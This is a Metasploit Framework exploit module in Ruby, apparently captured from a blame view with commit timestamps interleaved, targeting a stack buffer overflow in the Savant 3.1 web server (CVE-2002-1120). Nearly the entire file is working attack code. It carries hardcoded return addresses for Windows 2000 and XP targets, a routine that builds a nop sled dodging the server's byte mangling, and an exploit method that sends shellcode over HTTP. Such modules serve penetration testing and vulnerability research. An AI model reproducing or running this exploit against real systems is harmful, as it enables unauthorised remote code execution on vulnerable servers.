2007-09-09 22:38:53 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2007-09-13 14:02:16 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-09-09 22:38:53 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2007-09-13 14:02:16 +00:00
|
|
|
# http://metasploit.com/projects/Framework/
|
2007-09-09 22:38:53 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2007-09-09 22:38:53 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-09-09 22:38:53 +00:00
|
|
|
|
2007-09-13 14:02:16 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2007-10-03 12:17:37 +00:00
|
|
|
'Name' => 'Savant 3.1 Web Server Overflow',
|
2007-09-09 22:38:53 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in Savant 3.1 Web Server. The service
|
|
|
|
supports a maximum of 10 threads (for a default install). Each exploit attempt
|
|
|
|
generally causes a thread to die whether sucessful or not. Therefore you only
|
|
|
|
have 10 chances (unless non-default).
|
|
|
|
},
|
2007-10-03 12:17:37 +00:00
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
2007-09-09 22:38:53 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '5686' ],
|
|
|
|
[ 'CVE', '2002-1120' ],
|
|
|
|
[ 'OSVDB', '9829' ],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/787' ],
|
|
|
|
],
|
2007-09-13 14:02:16 +00:00
|
|
|
'Privileged' => false,
|
2007-09-09 22:38:53 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2007-10-03 12:17:37 +00:00
|
|
|
'EXITFUNC' => 'thread',
|
2007-09-09 22:38:53 +00:00
|
|
|
},
|
2007-10-03 12:17:37 +00:00
|
|
|
'Payload' =>
|
2007-09-13 14:02:16 +00:00
|
|
|
{
|
2007-10-03 12:17:37 +00:00
|
|
|
'Space' => 253,
|
|
|
|
'BadChars' => "\x00\x0a\x0d%",
|
2007-09-09 22:38:53 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en.
|
2007-10-03 12:17:37 +00:00
|
|
|
[ 'Universal Savant.exe', { 'Ret' => 0x00417a96 } ], # p/r Savant.exe
|
2007-09-09 22:38:53 +00:00
|
|
|
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll
|
|
|
|
[ 'Windows XP Pro SP2 - English', { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 10 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
],self.class)
|
|
|
|
end
|
|
|
|
|
2007-09-13 14:02:16 +00:00
|
|
|
def check
|
2007-09-09 22:38:53 +00:00
|
|
|
connect
|
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
banner = sock.get(-1,3)
|
|
|
|
disconnect
|
2007-09-13 14:02:16 +00:00
|
|
|
|
2007-09-09 22:38:53 +00:00
|
|
|
if (banner =~ /Savant\/3.1/)
|
2007-09-13 14:02:16 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
2007-09-09 22:38:53 +00:00
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2007-09-13 14:02:16 +00:00
|
|
|
def safe_nops(count)
|
|
|
|
# We need to find a safe nop combination.
|
|
|
|
# Savant will change some chars in the http method type - anything before the "/".
|
|
|
|
#
|
|
|
|
# For example, "GET /" will remain "GET /", however
|
|
|
|
# "\xe0 /" will be modified to "\xc0 /" ...
|
|
|
|
# "\xfe /" will be modified to "\xde /" ...
|
|
|
|
# "\xff /" will be modified to "\x9f /"
|
|
|
|
# The code after the "/" - our payload - is unchanged >=)
|
|
|
|
#
|
|
|
|
# Savant bad_chars for the nops
|
|
|
|
|
|
|
|
bad_nop_chars =[*(0xe0..0xff)].pack("C*")
|
|
|
|
|
|
|
|
nopsled = make_nops(count) # make_nops includes the payload bad_chars
|
|
|
|
bad_nop_chars.each_byte{ |badbyte|
|
|
|
|
nopsled.each_byte { |goodbyte|
|
|
|
|
if (goodbyte == badbyte)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return nopsled
|
|
|
|
end
|
|
|
|
|
2007-09-09 22:38:53 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2007-09-13 14:02:16 +00:00
|
|
|
|
|
|
|
print_status("Searching for a suitable nopsled...")
|
|
|
|
|
|
|
|
findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted.
|
|
|
|
until findnop
|
|
|
|
findnop = safe_nops(24) # If nops are banned, generate a new batch.
|
|
|
|
end
|
2007-09-09 22:38:53 +00:00
|
|
|
|
2007-09-13 14:02:16 +00:00
|
|
|
print_status("Found one! Sending exploit.")
|
|
|
|
|
|
|
|
sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V')
|
2007-09-09 22:38:53 +00:00
|
|
|
sock.put(sploit + "\r\n\r\n")
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
2008-10-02 05:23:59 +00:00
|
|
|
|
2007-09-09 22:38:53 +00:00
|
|
|
|